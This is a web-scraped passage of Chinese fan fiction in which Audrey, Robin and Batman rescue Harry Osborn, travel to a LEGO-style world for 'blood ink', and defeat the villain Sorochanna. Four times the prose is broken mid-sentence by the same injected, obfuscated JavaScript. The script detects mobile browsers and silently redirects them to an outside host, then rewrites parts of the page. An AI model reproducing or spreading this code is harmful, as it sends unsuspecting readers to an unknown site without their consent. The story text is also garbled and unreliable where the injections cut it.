“开个玩笑，不要当真。”达米安冷冰冰地说。“我现在就请管家联系他。你在阿卡姆吗？我去接你。” “不用了，我自己叫车过去。”说话间，奥德莉已经传送到市中心，坐上了一辆出租车。每一分钟都很重要，她完全不想浪费在路上。 蝙蝠侠、达米安和提姆一起看着电脑屏幕，上面显示奥德莉的手机信号地点瞬间跨越了半个哥谭，从阿卡姆出现在市中心。 “大概是什么传送魔法吧？”蝙蝠侠说。“她很着急。” “但她没有直接来庄园，也许是有什么限制。”提姆分析。 达米安仍握着手机，听着对面的动静，直到奥德莉和司机说完目的地，他才开口说：“真巧，蝙蝠侠刚来家里，我让他等你。” 如果是在平时，奥德莉一定会为蝙蝠侠的突然登门拜访和韦恩先生的夜间活动浮想联翩。但现在她心烦意乱，便只是应了一声“谢谢”就挂断了电话，达米安的那句“你还好吗”被无情地打断了。 “她会不会意识到自己路上的时间短到不合理？”达米安瞪着手机。 “我建议你别主动提起这一点，免得她更加心烦。”围观了全程的提姆笑眯眯地出主意。 达米安竟然“嗯”了一声，然后换回韦恩少爷的装束，去客厅等待奥德莉。 自从来到哥谭的短短数日，这已经是奥德莉第四次和蝙蝠侠对话了，她不禁感叹哥谭真是一个多事之地。 蝙蝠侠听完哈利疑似失踪的事情，说：“昨晚到现在，苏洛恰那没有和可疑人士联系过。” “如果苏洛恰那早就盯上了你，那这也可能是她的事先安排。”达米安思索着，“她可能只是假装不知道你的名字，让你放松警惕。” “也许吧。但她对我的拒绝很惊讶。如果她有信心我会答应为她做事，又何必提前做这种得罪人的布置呢。” “我们不能完全排除苏洛恰那的可能，但这件事情应该由复仇者联盟处理，他们对纽约更熟悉。”蝙蝠侠说。 格温说彼得联系过斯塔克先生，意味着复联已经在帮忙了。奥德莉隐晦地说：“我的一个朋友已经联系复联了。但是他还不知道苏洛恰那的事情。” 蝙蝠洞的资料已经涵盖了奥德莉和她的几个好友的信息，蝙蝠家也知道复仇者联盟各位成员的秘密身份，此刻听她这样说，立刻知道她说的朋友就是彼得，而且她知道彼得就是蜘蛛侠。 没有就这个问题多说什么，蝙蝠侠只是安慰她：“我会将苏洛恰那的信息共享给复联，也许对他们的调查有帮助。” “如果我直接去找苏洛恰那问一问呢？就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293999|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算是搞错了，也只是加深对她的得罪程度，但我们已经结仇了。她昨天没有把我扣下，今天应该也不会。” 蝙蝠侠不赞同奥德莉这种横冲直撞的风格，但奥德莉又承诺道：“我不是去打架的，只是去获取信息。” 看她一副“谁也拦不住我”的表情，蝙蝠侠叹了口气，默许了。奥德莉得寸进尺地说：“您能和我一起去吗？” “你不是去打架的，还记得吗？”蝙蝠侠板起脸。 “您去的话，她说实话的可能性更大嘛。” 蝙蝠侠不纵容她这种生怕事情不闹大的念头，但对达米安说：“你和她一起去吧。” 带着蝙蝠侠给的通讯器，奥德莉嚣张地和达米安朝蜕衣俱乐部出发，直接闯入了苏洛恰那的办公室。 苏洛恰那对他们的出现丝毫没有惊讶，依然带着温柔的笑容。她示意追上来的保镖们退出去，然后问：“奥德莉，你是改变主意了吗？” “哈利是不是被你绑架了？”奥德莉不想和她寒暄，直接问道。 “呀，你这么快就发现了。”苏洛恰那说。 对方承认得太快，奥德莉反而怀疑有诈：“你能证明吗？你不会是在骗我吧。” 苏洛恰那从抽屉里拿出一对袖扣：“你应该认得这个吧。” 那是他们三个人凑钱送给哈利的高中毕业礼物，圆形银色袖扣上镶嵌黑色缟玛瑙，最上一层是长尾线饰板和白色珍珠母组成的方形装饰。奥德莉拿起其中一枚，背面刻着哈利名字Harry Osborn的首字母H.O. “你怎么证明他还活着？”奥德莉又问。 苏洛恰那拿起桌上的遥控器，打开挂在墙上的屏幕。镜头中，哈利坐在一间舒适的起居室里，正在读书。 苏洛恰那又伸手按下桌上一枚麦克风的按钮，柔声说：“哈利，如果还想要看什么书，尽管告诉我。”她的声音同时从屏幕旁的音响中慢了半秒传出来，这是声音传到哈利那边之后又通过监视设备被传递回来的缘故。 哈利看向摄像头的方向，又指指身旁的一叠书，说：“谢谢。暂时不用了。” 苏洛恰那关闭设备，看向奥德莉。奥德莉一直盯着哈利的影像，看他似乎没有被苛待，暂时地松了一口气。 “你要怎么才能放了哈利？”奥德莉问。 “你知道我想要什么。”苏洛恰那递过去一个箱子，“仪式内容和材料。” “在那个世界，我去哪里能找到血墨？清算人组织吗？” “我了解的信息有限，要靠你自己探索了。”苏洛恰那不在乎奥德莉需要在另一个世界花多久时间，反正回来的时刻和出发的时刻是一样的。“仪式时间是凌晨两点。” 奥德莉拿起箱子，起身准备离开：“明天早上三点，你在这里等我。” “不用这么早吧？”苏洛恰那愕然。 “我早上要上班，不能迟到。”奥德莉很有责任心地说。“我还得留点时间迎接哈利。” 面对这位时间管理大师，苏洛恰那无语了一瞬，柔美的声音再一次响起：“不要耍花招，我的属下在那里随时等候我的指令，只要一秒钟就可以杀死哈利。” 27. 第 27 章 一离开蜕衣俱乐部，奥德莉的情绪就大爆发了，回韦恩庄园的路上一直在怒骂苏洛恰那，同时畅想取回血墨之后的报复：“如果我取回来却不给苏洛恰那，当着她的面全部销毁……” “那你干嘛还要费力气去取？”达米安无语。“你不是为了让她放了哈利吗？” “呃……那我就先给她，等哈利回来后再把她关起来，让她没办法制作灰烬账簿。或者，就算她找机会制作成功了，我把她打死，她难道能复活吗？” 不要和一个气头上的人讲道理，就如同不要和一个醉鬼辩论一样。达米安才不去做这种徒劳的事，任由奥德莉大放厥词。 奥德莉终于在到达庄园前恢复了理智，准备做正事。 此时已经是晚上十一点了。蝙蝠侠从通讯器中听到了全部对话，在见到奥德莉之后立刻告诉她：“我正在追踪破解苏洛恰那的通讯线路，只要找到她把哈利关在哪里，超人立刻就去救他出来。” 奥德莉摇摇头：“哈利可能不在这个世界，而是只有她知道的某个小空间里。我不能冒险。” 蝙蝠侠说：“你已经决定要去她指定的世界了？那里可能非常危险。” “我会尽量避免在那个世界涉入太深，拿到血墨我就回来。”奥德莉很坚定地说。“我需要立刻回阿卡姆做些准备。您不必担心，对于这个世界而言，我只是离开了一秒钟。回来之后我就联系您。” 蝙蝠侠不得不问出最坏的可能性：“如果两点零一秒你没有回来呢？” “那就麻烦您联系维斯勒医生，她是我的指导教师，对我实习期间的行为和安全负全责。她会想办法救我的。” “我和你一起去。”达米安不知什么时候离开换了衣服，以罗宾的身份出现。 “不必了吧。”奥德莉摸摸跟着她奔波了一晚的布莱克，打算只带上它。“我一个人就可以。” “答应他。”布莱克忽然跳起来，“万一你去了另一个世界，又一次无法召唤我怎么办？带上罗宾，他可以帮你打架。” 奥德莉犹豫不决：“这种危险的事情怎么能带上别人。更何况他还是未成年人。” 一人一猫争执不休之时，蝙蝠侠说：“我同意罗宾的建议。” “好吧。”既然罗宾的家长批准，奥德莉便答应了。但在罗宾看来，这意味着在奥德莉心里自己的意见比不上蝙蝠侠的，又在心里的小本本上给奥德莉记下一笔。 “我带罗宾一起回阿卡姆。”奥德莉拉起罗宾的手，对蝙蝠侠说。“等我回来，请您帮我阻止苏洛恰那的不法交易。” “祝你们成功。”蝙蝠侠说。 带着罗宾传送回到阿卡姆的宿舍之后，奥德莉简单收拾了背包，装上了羊皮卷以及用于返程仪式和其它仪式的材料。 上一次穿越到异世界时，布莱克明明离她很近，但没有被一并带走。在她穿越后，她尝试召唤布莱克却不成功。他们想不通原因，这次决定做新的尝试，让布莱克回漫宿等待。 奥德莉在出发前解除了对布莱克的召唤，临别前它眼泪汪汪地看着奥德莉，说：“你到了之后，别忘了召唤我，也许这一次能成功呢。我肯定能帮上你。” “我保证。”奥德莉亲亲布莱克的额头，看着它从自己手中消失不见。 见她布置好仪式后便坐在桌边发呆，罗宾问：“你紧张吗？” “有一些。”奥德莉如实回答。 “我会保护你的。”罗宾说。 “我也会保护你的。”奥德莉回答。 达米安又一次对奥德莉的话产生了熟悉的感觉。他略带茫然地看着奥德莉站起身拉住自己的手，然后听到她元气十足地说：“我们出发！” 落地时，奥德莉觉得有点重心不稳，前后晃了几下才站好。她赶紧检查了自己的背包，东西还在——等等，她的手呢？她可爱的五根手指头呢？ 为什么会变成U型手啊？ 她转身看向旁边的达米安，面面相觑时，两人都从对方的眼睛里看到自己的倒影。 “我们变成乐高了？”奥德莉惊呼。 “看起来是这样。”达米安试着活动四肢，又原地做了个后空翻，“但还是可以灵活地行动。” 奥德莉也试着抬起小短腿走了几步，确认自己行动自如，然后看看周围大片的玉米地：“你能认出这是哪里吗？” 别问她是怎么从堆砌的乐高颗粒上看出这是玉米地的，可能是宇宙法则帮助他们适应了这种模式。 达米安仔细一看，地里立着的稻草人穿着十分眼熟的服饰。这不是肯特农场吗？他和好友，超人之子小乔纳森·肯特，来这里玩过许多次。 “我们在堪萨斯州，斯莫维尔。”达米安说。 奥德莉佩服地看看达米安，想不明白他是怎么从一片毫无特色的田地看出位置的。“我们去找附近的农民问问信息吧。” “罗宾，你怎么没有告诉我你要来，我可以去接你的。”一个乐高小人热情地跑过来，和达米安打招呼。“这是你的朋友吗？” “小乔？”达米安不确定地问。 “对啊。”小乔不解地看向好友，“你看起来和平时不太一样。” “这是奥德莉，”达米安清清嗓子，为两人互相介绍，“这是小乔纳森，你可以叫他小乔。” 等到面前两个乐高小人用U型手握了握之后，达米安又说：“我不是你们世界的罗宾。我们来自另外一个世界。” “哇！好酷啊。”小乔毫不犹豫地接受了达米安说的话，“你们一定饿了吧，玛莎奶奶正在烤苹果派。” 乐高颗粒拼出的苹果派？奥德莉大为心动。 “我最喜欢苹果派了！”小乔一边领着他们往家走一边说。他和小达米安同龄，这个世界的他们才十二岁。 和达米安一样，小达米安在十一岁来到哥谭，那时的他能力卓绝但性格非常不讨喜。小达米安被安排到小乔所在的大都会初中就读，还成了同班同学。在超人的拜托下，小乔主动去和小达米安交朋友，一开始鸡飞狗跳的场面可想而知。 但谁能抵达得了小太阳呢？超人家好像专克蝙蝠家，小达米安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294000|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半夜想起这一点都要气得咬被角。 在打打闹闹中，小达米安和小乔成了好朋友，还悄悄组了个队，名字叫做“超凡双子”。 “我的妈妈是星球日报的著名战地记者，”小乔很骄傲地介绍，其实是在机智地保护所有人的真实身份。他见达米安自称罗宾，马上意识到他不想让奥德莉知道自己的另一重身份。“我爸爸也是星球日报的记者。他经常采访超级英雄，蝙蝠侠和超人他都认识哦。” 奥德莉明白小乔的意图，但是这个介绍他爸爸听了会不会哭晕在电脑前？著名战地记者听起来就很厉害，超英专访记者听起来则逊色不少。但她很捧场地说：“那你的家长都好了不起啊，小乔将来也想成为记者吗？” “我还没有想好。”小乔挠挠头，可爱地皱起脸。 小乔的家长和他一样的热情好客，玛莎奶奶慈爱地端出了苹果派（自家农场出产的苹果、鸡蛋和面粉）和牛奶（自家奶牛产的）。奥德莉从没吃过这么好吃的苹果派。 小乔的妈妈露易丝·肯特听说两人是从另一个世界来的，主动提出请丈夫帮忙联系超人和蝙蝠侠。十分钟后，超人拎着蝙蝠侠的披风登场，神奇女侠戴安娜·普林斯也一起来了。 “超人，我都说过多少次了，这种拎法一点都不酷。”蝙蝠侠在即将着陆前要求超人松开他，然后在空中做出一个帅气的翻滚才着陆。奥德莉隔着玻璃围观全程，激动地用U型手拼命鼓掌。 “因为你说想快点到嘛。”超人委屈巴巴地说。 有蝙蝠侠能看破一切谎言的双眼以及神奇女侠的真言套索在，奥德莉和达米安很快取得了正义联盟三巨头的信任。 “听说你是我的同位体？”一个小男孩的声音响起，带着一点挑剔和嫌弃。 奥德莉回头一看，是小罗宾！他又臭屁又可爱地叉腰站在那里，旁边的小乔一脸乖巧。 在听到露易丝的呼叫后，小达米安也想跟着去，被蝙蝠侠拒绝了。但这能难得倒他吗？蝙蝠侠会滴滴打超，他也会啊。 我小时候是这样的吗？达米安看着小版的自己陷入了沉思。 “你好呀，我是奥德莉。”见达米安不吭声，奥德莉主动去打招呼。 “你好。你是罗宾的朋友，那你也是个超级英雄吗？”小达米安问。 “我不是。”/“她是。”奥德莉和达米安齐声给出相反的答案。 “你为什么觉得你不是超级英雄？”达米安惊讶地看向奥德莉。 “因为我只是个平平无奇的调查员啊。”奥德莉很自然地说。 “勇敢地保护他人，坚定地对抗邪恶，在我看来你已经是一个超级英雄了。”达米安说。 “罗宾，你的同位体说得太好了！”小乔戳戳小达米安。 超人响应：“我们相信罗宾的判断。蝙蝠侠也同意。”他抓着蝙蝠侠的手一起举起来。 “我证明罗宾说的是真心话。”神奇女侠摇一摇手里的套索。 被一圈乐高小人围着，奥德莉的脸刷地红了，结结巴巴地说：“谢谢你的认可。” 28. 第 28 章 “我们的世界竟然有血墨这么邪恶的东西。”在得知奥德莉对接下来的行动毫无头绪时，蝙蝠侠主动帮她推理幕后黑手，并严肃承诺：“我一定会将这个坏蛋绳之以法。” “我们和你一起。”超人和神奇女侠齐声响应。 “我怀疑是卢瑟干的。”超人的超级大脑在蝙蝠侠旁边总是懒得进行复杂运算，此刻的单线程思路是“遇事不决先怪卢瑟”，这个结论在百分之九十九的情况下竟然还都是对的。 “不是他。”蝙蝠侠否定道。“他是个人类至上主义，只会想方设法干掉外神。” “这个人可能是魔法侧的，对于这种黑暗魔法，我们应该联系康斯坦丁。”神奇女侠提议。 “我同意。无论你有多成功，都不要离铲子的末端太远。”超人附议，习惯性地说一句农场谚语。在场众人都露出茫然的表情，只听懂了“我同意”。 蝙蝠侠也赞同，拿出通讯器呼叫魔法师约翰·康斯坦丁。下一秒，一个身穿风衣、嘴里也许叼着香烟的乐高小人就出现在他们面前。 为什么是“也许”呢？因为乐高是全年龄向作品，康斯坦丁嘴里的棍状物被打了马赛克…… “血墨，”康斯坦丁思索了一会儿，“许多年前有个组织很爱搞这一套，后来他们倒台了。” “你能查出他们的库存流向何处吗？” “我去黑市打听一下。”康斯坦丁说，然后消失了。 “我也去阿卡姆问问。你们暂时住在农场吧。”蝙蝠侠说。超人自动自发地去拎他的披风，服务态度十分良好。 大人们各有各的忙，最后只剩下奥德莉和达米安，以及不肯离开的两个小朋友。 “你小时候挺可爱的。”奥德莉悄悄对达米安说。 “不要用可爱这种词形容我。”小达米安听见了，立刻抗议。 “罗宾，姐姐是在夸你，我们应该有礼貌地说谢谢。”小乔说。 “啧。”小达米安别扭了一下，但还是说：“谢谢姐姐。” 达米安在一旁暗笑。每次看到达米安尾巴偷偷翘到天上的样子，奥德莉就想逗他。 “罗宾，你多大了？” 奥德莉忽然说。 “十七。”达米安没有防备地回答。 “哦。”奥德莉拖长了声音。 “怎么了？”达米安因她的语气而忽然警惕起来，像只炸毛的猫。 “所以你也应该喊我姐姐。” 奥德莉说。 被两个小朋友在旁边盯着，达米安的头上开始冒烟，不知道是被气的还是在害羞。最后他瞪了奥德莉一眼，转身背对着她不说话。 奥德莉见好就收，自顾自开始尝试召唤布莱克，可惜依然没有成功。 “姐姐，我带你去看奶牛吧。”小乔以为她感到无聊，积极地招待客人。 “好啊，我还没见过呢。”作为一个纽约人，奥德莉见过的动物主要是老鼠。 肯特农场很大，养了不少的动物，鸡牛羊狗一应俱全。在小乔的指导下，奥德莉尝试着给奶牛挤奶，又去给牛喂草。她的动作笨拙，但小乔一点也不嫌弃，非常耐心地陪着她。 出乎她意料的是，达米安对动物很有一手，熟练地给牛洗澡，还会给羊剪毛。 肯特家还有一条特别聪明的狗，披了一条红披风，非常神气。它热情地把球叼给奥德莉，让她陪自己玩。 在奥德莉享受农家乐的时候，蝙蝠侠锁定了一个嫌疑对象：正在阿卡姆认真做科研的急冻人维克多·弗莱斯博士。 急冻人原本是一名低温学博士兼工程师，在挚爱的妻子身患绝症且无药可治时，他决定将妻子以人体冷冻技术保存起来，借此阻止她的病情持续恶化，并为自己争取更多时间去研究治疗药物。他利用公司资源做私人研究的行为被老板发现后，两人扭打起来，不慎导致冷冻化学气体泄漏，急冻人没有死，但自此无法在常温下存活，必须待在低温盔甲或低温环境里。 由于类似的病患太少而没有利润空间，没有大型医药公司愿意研究他妻子的病症。随着急冻人的研究迟迟没有进展，他很担心自己去世后后继无人，好几个阿卡姆病人都作证听过他自言自语，说“要是我能多活十年就好了”。 康斯坦丁传回的消息佐证了急冻人的关联。据说有个穿着装甲、手持冷冻枪的人在上个月的地下拍卖会上实施了抢劫，将清算人组织留下的所有血墨和制作灰烬账簿的方法都抢走了。 奥德莉没想到调查开展得这么顺利，只用了一天就锁定目标。 “蝙蝠侠太厉害了！哪个世界都是如此！”此次任务完全坐享其成，自己一点力也没出，奥德莉觉得有点不好意思。 达米安指着天空说冷笑话：“快看，那是鸟？是超人？是蝙蝠飞机。” 奥德莉高高兴兴地和达米安坐上来接他们的蝙蝠飞机，却见小乔和小达米安哒哒哒地跑了上来，还很自觉地系好安全带。 “你们两个不能去阿卡姆。”奥德莉摆出最严肃的表情，但小乔的狗狗眼杀伤力太大了，还有他旁边的小达米安，虽然很傲娇的样子，却也是用绿眼睛一下一下地瞟她。 “可以带上他们吗？”毫无原则的奥德莉和达米安商量。“小罗宾也很能打，会照顾好小乔的。而且正义联盟在，应该是安全的。” 前一天晚上，小达米安提出要和达米安比武，达米安答应了，并且一点没放水，胜之不武还洋洋得意。奥德莉不知道如何判断乐高小人的武力高低，但能在空中跳来跳去肯定算是厉害吧。 达米安无所谓地点点头，两个小朋友高兴地欢呼起来。 他们到达时，正义联盟众人已经将急冻人打服了，急冻人正痛哭流涕地忏悔着自己的邪恶计划。 “如果现实中的反派也能这么容易被说服就好了。”达米安感慨。 “血墨到底长什么样子，可能只有回到原本的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294001|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界才能知道了。”奥德莉从蝙蝠侠手中接过红色的乐高小颗粒，把它们放进背包里。 急冻人抽抽噎噎的声音如同魔音绕耳，令人无法忽视。蝙蝠侠哒哒哒地走到他面前，说：“我会联系韦恩集团，让他们一起帮你研究的。” 急冻人感动地拥抱住蝙蝠侠，哭得更大声了。蝙蝠侠僵在原地，但允许急冻人抱了五秒，然后眼神示意超人把急冻人拉开。 超人立刻照做了，然后大声地说：“蝙蝠侠，你是我见过的最好心的人，也是最聪明的人。”他也想去拥抱蝙蝠侠，但是被蝙蝠侠投以不赞同的眼神，只好站在原地继续说：“我爸以前常说，两只羊顶角时，聪明的牧羊人先去补栅栏。” “超人，禁止说我们听不懂的农场谚语！”神奇女侠立刻抗议。 “这句话是什么意思啊？”奥德莉没听懂，困惑地问小乔。 “可能是说要从根源解决问题。”小乔眨眨眼。虽然他也是个农场男孩，但有时候也听不懂自己老爸说的这些。 “我们也能拥抱蝙蝠侠吗？”几个阿卡姆病人从门口探出头，充满羡慕地说。“还是先被蝙蝠侠打一顿才可以？” 蝙蝠侠的脸立刻黑了。他们以为这是在开粉丝见面会吗？ 依依不舍地和乐高小人们告别后，奥德莉和达米安回到了自己的世界。 白光消失后，奥德莉松开达米安的手，却被他再一次握住。奥德莉疑惑地看他，对上一双混合了懊恼与愤怒的绿眼睛。他的神情如此复杂，她完全读不懂。 “怎么了？”不等达米安回答，奥德莉先用另一只手打开通讯器，告诉蝙蝠侠：“我们回来啦，马上去韦恩庄园。” “我们一分钟后再去。”达米安说，关闭了通讯器。 “为什么？”奥德莉不解，把自己的手抽回来。她召唤出布莱克，接住这只飞扑到自己怀里的小猫咪。对于布莱克而言，真是一秒不见，如隔三秋，它一看自己又出现在宿舍，就知道异世界召唤再一次失败，气得对着空气打喵喵拳。 达米安看着奥德莉心不在焉的样子，想说什么，又咽了回去。 “他怎么了？”布莱克问。 “你怎么了？” 奥德莉试探着问达米安。 “这件事情结束后，我们得谈一谈。”达米安有太多想说的，但他需要先理清自己的想法。而且现在救哈利是第一要务，不能耽误。 达米安严肃起来和蝙蝠侠太像了，那种有如实质的压迫感令奥德莉莫名就开始心虚，而布莱克尖叫起来：“他是不是恢复记忆了？” “啊……”奥德莉更心虚了，但转念一想：“达米安失忆，还轮不到罗宾来替他讨说法。他总不会自曝身份吧？” “对哦，他一直在瞒着你，应该是你才有资格生气。”布莱克进谗言。“他要是指责我们，你就先发制人。” 一人一猫自欺欺人地安心了，带着达米安传送到韦恩庄园。 29. 第 29 章 蝙蝠侠想不通异世界发生了什么，为什么穿越回来的奥德莉和达米安之间气氛僵硬，毫无眼神交流。偏偏他俩还趁着对方不注意若有所思地偷看，很像吵架之后不知道该如何和好的小朋友。 “取回来了，”奥德莉把血墨拿出来，现在看来它们像是无暇的红宝石。“那里的正义联盟帮了我们。” 蝙蝠侠小心地拿起一粒血墨，一瞬间他仿佛听见来自遥远星空的不可名状的咆哮，然后又归于沉寂。 “我还拿到了灰烬账簿的制作方法。”奥德莉拿出一本小册子，“其中有很多信息可供我们利用。” 执掌寿命的司辰是昕旦，祂用来管理寿命的工具同样被称为灰烬账簿。世界上第一位清算人是被祂选中的对象，被传授了进行寿命交易的方法。上一任清算人死后，昕旦会再选一位继任者。 然而，人类总是贪婪的，有些清算者试图让自己的后人接替自己，有些人通过种种手段获得了制作方法而成为未经司辰认可的清算人。这些人最后都没有什么好下场。 昕旦对清算人制作的灰烬账簿投以玄妙的关注，但祂并非时刻注意人间。与此同时，人类可以在葬礼上向祂敬拜，将得知的罪行报告给祂。 昕旦冷冽而苛刻，祂总是索取必要之物，亦不会容忍祂设置的平衡被打破。 人类可以通过欺骗司辰来争取一时的优势。但昕旦终将收取祂的欠款。 “如果昕旦知道了苏洛恰那的僭越行为，会立刻收回她曾经增加的所有寿命。”奥德莉摩拳擦掌地说，“那她会立刻化为灰烬。” “听起来是个不错的计划。”蝙蝠侠也读了一遍小册子，“这里提到与昕旦对话有很高的风险，拂晓的一抹浅痕可以降低风险，但无法完全消除。这是什么意思？” “那是粉色兰花的代称。”奥德莉解释。 “明白了。我来准备兰花和一场葬礼。”蝙蝠侠说。 “同时，请您不要中止对苏洛恰那的监视。我的计划有一个最致命的问题，那就是近些年司辰越来越少对信奉祂们的教会给予回应，像我这种非教徒更可能被无视。” “你觉得成功的几率很小？” “大概五五开。按照记录中对昕旦的描述来看，祂的性格冷酷，又对这种欺骗行为深恶痛绝，我想祂会很乐意降下惩罚。” “这个成功率已经值得一试了。”蝙蝠侠说。 “还有一点，昕旦偏好黎明，我听说无敌太阳教会曾每日在黎明前冷冽之时敬拜祂。我建议把葬礼时间安排在凌晨四点。”时间管理大师奥德莉再次上线。 “没问题。”更紧急的任务安排蝙蝠侠也完成过，他立刻安排超人和闪电侠这两个速度最快的成员帮忙。由于涉及到魔法，黑暗正义联盟的扎坦娜和康斯坦丁也被找来作为后援。 超人通过超级听力听到哥谭的某个角落里有一孤苦伶仃之人刚刚去世，他立刻去将对方的尸体带来，为逝者准备一场葬礼。 闪电侠跑到地球的另一边买来许多品种的粉色兰花，将韦恩家族墓地的一角布置得如同婚礼现场。 “韦恩先生不会生气吗？”奥德莉在一旁崇拜地围观蝙蝠侠的饱和式备战方法，小声地问他。 “他不会介意的。”蝙蝠侠说。 “老爷会很高兴能帮上忙的。”跟着一起熬夜的阿尔弗雷德附和。在他的指导下，粉色的花海被摆出了庄重的感觉。 奥德莉猝不及防地被塞了一口蝙布口粮。有老管家的首肯，已经登堂入室的蝙蝠侠无疑是官配，花花草草们不要来碰瓷。 在有条不紊地作出各种安排时，蝙蝠侠还有空提醒奥德莉：“你该出发去见苏洛恰那了。” 又一次踏进苏洛恰那的办公室，奥德莉和罗宾还是分别坐在之前的座位，但不自觉地离对方远一点。 苏洛恰那笑着说：“你们吵架了？上次来还好好的呢。” 上次和奥德莉来的是达米安，这次是罗宾。掉马来得猝不及防，达米安几不可察地僵住了，没有说话。 “呀，我是不是说了不该说的秘密。”苏洛恰那故作姿态，但看到奥德莉没有露出惊讶，苏洛恰那立刻又说：“不过看来她已经知道了。” 这一次轮到奥德莉坐立不安了，她气呼呼地问：“你的废话说完了吗？哈利呢？” “血墨呢？”苏洛恰那反问。 奥德莉拿出一个小包，将里面的血墨哗啦一声倒在桌上。苏洛恰那仔细查看了一番，拿起一粒递给奥德莉。 “这一粒有问题吗？”奥德莉不解。 “送给你作为额外的报酬。” “不用了，谢谢。”奥德莉厌憎地说。 “总有一天你会需要它的。”苏洛恰那说。“我在年轻的时候，也像你一样。” “那我更不能拿了，我可不想被诱惑得折堕。”奥德莉坚定地拒绝了。千里之堤溃于蚁穴，如果她收下了，她没有勇气说自己一定永远不会去用它——总有太多不得已的情况，让人一步步地走向深渊。 “好吧。”苏洛恰那没有再劝，打了个响指，熟睡的哈利忽然出现在她旁边的沙发上。 奥德莉立刻冲过去，怒道：“他怎么了？” “现在是凌晨三点。”苏洛恰那哭笑不得，“他在睡觉。” 哈利这时已经被吵醒了，他困惑地看看周围，奥德莉立刻控诉：“你都被绑架了，怎么能睡得着的？” “我被绑架七天了，一直不睡的话岂不是要猝死了？”哈利打个哈欠，平静得到了古怪的程度。“这又是哪里？” “哥谭。”奥德莉说，“回头再和你细说。我们先离开。” 三个年轻人离开了，苏洛恰那的办公室再次安静下来。 回到韦恩庄园，奥德莉将哈利托付给阿尔弗雷德，急着去墓地赶下一场活动。哈利对于被传送到另一个地点一副不在意的样子，只是请管家给他安排个卧室以便继续睡觉。 达米安像个小尾巴一样跟着奥德莉。从乐高世界的回程里，他在一秒内被维多利亚时期的记忆淹没。他记得他们在拉撒路池边相遇，一起穿越了又一起回来，上一秒她还拉住他以免把他落下，下一秒拉撒路池边只剩他一个人，奥德莉不辞而别。 达米安想起扎坦娜的分析。奥德莉对他用了不知什么魔法，连带后果是消除了许多天的记忆。但她不是有意的，甚至可能并不知道。 他忘掉了约定，没有去纽约，所以奥德莉在初见罗宾时表现得那么别扭。但之后她又恢复如初，很自然地和罗宾成为朋友，也和达米安相处融洽。 她知道自己就是罗宾，她是什么时候知道的？她会觉得自己不被信任吗？ 达米安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294002|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽而生气，忽而担心，情绪像过山车一样起伏。他真希望一切快点了结，他们能坐下来，好好地说清楚一切。 如果她愿意的话。 四点时，奥德莉开始了仪式。此时是夏天，在场的所有人却都感觉到深冬清晨的那种冷冽，穿透肉/体直达心脏。那是在太阳还未升起时的寒冷感觉。 似乎有什么来过，又离开了。 四周的温度慢慢回升。奥德莉四处张望，试图找出成功与否的痕迹。 “那里少了一朵花。”蝙蝠侠忽然指着花海说。 “哪里？”奥德莉顺着他的手指看去，一点也没看出来。她选择直接相信蝙蝠侠。“苏洛恰那那里怎么样了？” 康斯坦丁的声音从通讯器中响起：“她忽然化作了灰烬。” “血墨呢？”蝙蝠侠问。“找出来，全部带给我。” “咦……”康斯坦丁搜寻了一会儿，甚至用上魔法寻物，“它们不见了。” “难道也被昕旦销毁了？”奥德莉猜测。 “一点痕迹都没留下吗？”康斯坦丁不这么想。 “快看你的脚下。”布莱克忽然说。奥德莉低头看去，自己的脚边的草地里散落着数块红色宝石。 “找到血墨了，”奥德莉马上告诉众人，将血墨捡起数了一遍，数量和她从异世界带回来的一致。“怎么会在这里？” “也许，”康斯坦丁声音凝重，“昕旦选中了你做下一任清算人。” “啊？”奥德莉差点跳起来，“我不干。” “我知道。”蝙蝠侠安抚道。“不要担心，我想祂并非要强制你做什么。祂只留下了血墨，却并未传授你制作方法或给你任何指示，更像是在考验你是否能抵制诱惑。” 